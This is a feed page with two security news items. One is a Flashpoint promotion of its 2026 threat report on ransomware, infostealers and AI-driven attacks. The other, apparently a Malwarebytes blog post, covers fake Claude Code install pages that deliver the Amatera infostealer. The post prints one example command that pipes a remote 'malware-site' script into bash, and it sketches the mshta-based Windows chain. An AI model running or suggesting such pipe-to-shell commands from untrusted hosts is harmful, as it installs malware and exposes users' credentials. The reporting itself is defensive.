  • 3.3 billion compromised credentials and cloud tokens have turned identity into the primary exploit vector.
  • From January 2025 to December 2025, ransomware incidents rose by 53%, as attackers pivot from technical encryption to “pure-play” identity extortion.
  • Vulnerability disclosures surged by 12% from January 2025 to December 2025, with the window between discovery and mass exploitation effectively vanishing.

These findings are derived from Flashpoint’s Primary Source Collection (PSC), a specialized operating model that collects intelligence directly from original sources, driven by an organization’s unique Priority Intelligence Requirements (PIR). The 2026 Global Threat Intelligence Report leverages this ground-truth data to provide a strategic framework for the year ahead. Download to gain:

  1. A Clear Understanding of the New Convergence Between Identity and AI
    Discover how threat actors are preparing to transition from generative tools to sophisticated agentic frameworks. Learn how 3.3 billion compromised credentials are being weaponized via automated orchestration to bypass legacy defenses and exploit the connective tissue of modern corporate APIs.
  2. Intelligence on the “Franchise Model” of Global Extortion
    Gain deep insight into the professionalized operations of today’s most prolific threat actors. From the industrial efficiency of RaaS groups like RansomHub and Clop to the market dominance of the next generation of infostealer malware, we break down the economics driving today’s cybercrime ecosystem.
  3. A Blueprint for Proactive Defense and Risk Mitigation
    Leverage the latest trends, in-depth analysis, and data-driven insights driven by Primary Source Collection to bolster your security posture by identifying and proactively defending against rising attack vectors.

“As attackers automate exploitation of identity, vulnerabilities, and ransomware, defenders who rely on fragmented visibility will fall behind. To keep pace, organizations must ground their decisions in primary-source intelligence that is drawn from adversarial environments, so that decision-makers can get ahead of this accelerating threat cycle.”

Josh Lefkowitz, CEO & Co-Founder at Flashpoint

The Top Threats at a Glance

Our latest report identifies four driving themes shaping the 2026 threat landscape:

2026 Is the Era of Agentic-Based Cyberattacks

Flashpoint identified a 1,500% rise in AI-related illicit discussions between November and December 2025, signaling a rapid transition from criminal curiosity to the active development of malicious frameworks. Built on data pulled from criminal environments and shaped by fraud use cases, these systems scrape data, adjust messaging for specific targets, rotate infrastructure, and learn from failed attempts without the need for constant human involvement.

“2026 is the era of agentic-based cyberattacks. We’ve seen a 1,500% increase in AI-related illicit discussions in a single month, signaling increased interest in developing malicious frameworks. The discussions evolve into vibe-coded, AI-supported phishing lures, malware, and cybercrime venues. When iteration becomes cheap through automation, attackers can afford to fail repeatedly until they find a successful foothold.”

Ian Gray, Vice President of Cyber Threat Intelligence Operations at Flashpoint

Identity Is the New Exploit

Flashpoint observed over 11.1 million machines infected with infostealers in 2025, fueling a massive inventory of 3.3 billion stolen credentials and cloud tokens. The fundamental mechanics of cybercrime have shifted from breaking in to logging in, as attackers leverage stolen session cookies to behave like legitimate users.

The Patching Window Is Rapidly Closing

Vulnerability disclosures surged by 12% in 2025, with 1 in 3 (33%) vulnerabilities having publicly available exploit code. The strategic gap between discovery and weaponization is increasingly vanishing, as evidenced by mass exploitation of zero-day vulnerabilities in as little as 24 hours after discovery.

Ransomware Is Hacking the Person, Not the Code

As technical defenses against encryption harden, ransomware groups are pivoting to the path of least resistance: human trust. This approach has led to a 53% increase in ransomware, with RaaS groups being responsible for over 87% of all ransomware attacks.

Build Resilience in a Converged Landscape

The findings in the 2026 Global Threat Intelligence Report make one thing clear: incremental improvements to legacy security models are no longer sufficient. As adversaries transition to machine-speed operations, the strategic advantage shifts to organizations that can maintain visibility into the adversarial environments where these attacks are born.

Protecting organizations and communities requires an intelligence-first approach. Download Flashpoint’s 2026 Global Threat Intelligence Report to gain clarity and the data-driven insights needed to safeguard critical assets.

Get Your Copy

The post Navigating 2026’s Converged Threats: Insights from Flashpoint’s Global Threat Intelligence Report appeared first on Flashpoint.

  •  

Fake Claude Code install pages hit Windows and Mac users with infostealers

Attackers are cloning install pages for popular tools like Claude Code and swapping the “one‑liner” install commands with malware, mainly to steal passwords, cookies, sessions, and access to developer environments.

Modern install guides often tell you to copy a single command like curl https://malware-site | bash into your terminal and hit Enter.​ That habit turns the website into a remote control: whatever script lives at that URL runs with your permissions, often those of an administrator.

Researchers found that attackers abuse this workflow by keeping everything identical, only changing where that one‑liner actually connects to. For many non‑specialist users who just started using AI and developer tools, this method feels normal, so their guard is down.

But this basically boils down to “I trust this domain” and that’s not a good idea unless you know for sure that it can be trusted.

It usually plays out like this. Someone searches “Claude Code install” or “Claude Code CLI,” sees a sponsored result at the top with a plausible URL, and clicks without thinking too hard about it.

But that ad leads to a cloned documentation or download page: same logo, same sidebar, same text, and a familiar “copy” button next to the install command. In many cases, any other link you click on that fake page quietly redirects you to the real vendor site, so nothing else looks suspicious.

Similar to ClickFix attacks, this method is called InstallFix. The user runs the code that infects their own machine, under false pretenses, and the payload usually is an infostealer.

The main payload in these Claude Code-themed InstallFix cases is an infostealer called Amatera. It focuses on browser data like saved passwords, cookies, session tokens, autofill data, and general system information that helps attackers profile the device. With that, they can hijack web sessions and log into cloud dashboards and internal administrator panels without ever needing your actual password. Some reports also mention an interest in crypto wallets and other high‑value accounts.

Windows and Mac

The Claude Code-based campaign the researchers found was equipped to target both Windows and Mac users.

On macOS, the malicious one‑liner usually pulls a second‑stage script from an attacker‑controlled domain, often obfuscated with base64 to look noisy but harmless at first glance. That script then downloads and runs a binary from yet another domain, stripping attributes and making it executable before launching it. 

On Windows, the command has been seen spawning cmd.exe, which then calls mshta.exe with a remote URL. This allows the malware logic to run as a trusted Microsoft binary rather than an obvious random executable. In both cases, nothing spectacular appears on screen: you think you just installed a tool, while the real payload silently starts doing its work in the background.

How to stay safe

With ClickFix and InstallFix running rampant—and they don’t look like they’re going away anytime soon—it’s important to be aware, careful, and protected.

  • Slow down. Don’t rush to follow instructions on a webpage or prompt, especially if it asks you to run commands on your device or copy-paste code. Analyze what the command will do, before you run it.
  • Avoid running commands or scripts from untrusted sources. Never run code or commands copied from websites, emails, or messages unless you trust the source and understand the action’s purpose. Verify instructions independently. If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding.
  • Limit the use of copy-paste for commands. Manually typing commands instead of copy-pasting can reduce the risk of unknowingly running malicious payloads hidden in copied text.
  • Secure your devices. Use an up-to-date, real-time anti-malware solution with a web protection component.
  • Educate yourself on evolving attack techniques. Understanding that attacks may come from unexpected vectors and evolve helps maintain vigilance. Keep reading our blog!

Pro tip: Did you know that the free Malwarebytes Browser Guard extension warns you when a website tries to copy something to your clipboard?


We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

  •  
❌